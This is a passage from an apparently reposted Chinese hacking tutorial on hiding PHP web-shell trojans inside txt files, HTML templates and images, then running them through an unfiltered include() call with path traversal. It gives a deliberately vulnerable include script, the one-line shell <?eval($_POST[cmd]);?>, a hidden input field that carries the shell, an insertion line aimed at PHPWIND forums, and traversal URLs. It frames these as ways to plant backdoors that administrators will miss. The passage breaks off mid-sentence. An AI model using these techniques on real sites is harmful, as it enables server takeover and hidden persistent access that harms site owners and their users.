要知道如果光把PHP語句放到圖片裡是無論如何都不能執行的,因為PHP只解析副檔名為php的檔案。所以說要能使隱藏在圖片裡的PHP語句執行。我們就的借助PHP中的呼叫函數:include 、require 等。
我們還記得前些日子把木馬隱藏到圖片的文章吧。也就是在PHP檔案裡用include("x.gif")這樣的語句來呼叫隱藏在圖片的木馬語句。 ASP中語句也類似。看似非常隱密但直接呼叫圖片對稍微懂點PHP的人就不難發現可疑之處。由於URL 裡用GET方式很難傳遞參數,這使得插入木馬的性能得不到發揮。
include 函數在PHP中使用的比較頻繁,所以造成的安全問題也實在太多,例如PHPWIND1.36的漏洞就是因為include後面的變數沒做過濾所引起的。由此我們就可以建構類似的語句來插入PHP檔案。然後把木馬隱藏到圖片或HTML檔案裡,可以說隱藏性就更高了。如在PHPWIND論壇插入下面的語句:< ''?@include includ/.$PHPWIND_ROOT;? < mailto:?@include 'includ/'.$PHPWIND_ROOT;?>> 一般管理員是看不出來的。
有了include 函數來輔助幫忙我們就可以把PHP木馬隱藏到諸如txt、html和圖片檔案等很多類型的檔案裡來了。因為txt、html和圖片檔案這三種類型的檔案最無論在論壇或文章系統裡是最常見的了,下面我們就依序來做測試。
先建立一PHP檔test.php 檔案內容為:
<?php
$test=$_GET['test'];
@include 'test/'.$test;
?>
Txt文件通常都是說明文件,所以我們把一句話木馬放到目錄的說明文件裡就OK了。隨便建立一個TXT檔t.txt。我們把一句話木馬<?eval($_POST[cmd]);?>貼到t.txt檔案裡。然後訪問http://localhost/test/test.php?test=../t.txt < http://localhost/phpw/index.php?PHPWIND_ROOT=../robots.txt > 如果你看到t. txt的內容證明Ok了, 然後把在lanker微型PHP後門客戶端木馬位址添置http://localhost/test/test.php?test=../t.txt < http://localhost/phpw/ index.php?PHPWIND_ROOT=../robots.txt > 密碼裡添入cmd就可以了,執行回傳的結果都可以看到。
對於HTML的文件,一般都是模版文件。為了讓插入到HTML的檔案的木馬能被呼叫執行而且不被顯示出來,我們可以在HTML裡加入一個隱藏屬性的文字框,如:<input type=hidden value="<?eval($_POST[cmd ]);?>"> 然後使用方法同上。執行的回傳結果一般都可以查看原始檔看到。 如使用查看本程式目錄功能。檢視來源檔案內容為<input type=hidden value="C:Uniserver2_7swwwtest"> 我可以取得目錄為C:Uniserver2_7swwwtest。
下面我們說說圖片文件,要說最為毒的一招莫過於把木馬隱藏到圖片裡。我們可以直接對一張圖片進行編輯,把<?eval($_POST[cmd]);?>插入到圖片最後。
經測試一般都不會對圖片造成影響。然後同樣方法客戶端木馬地址添入<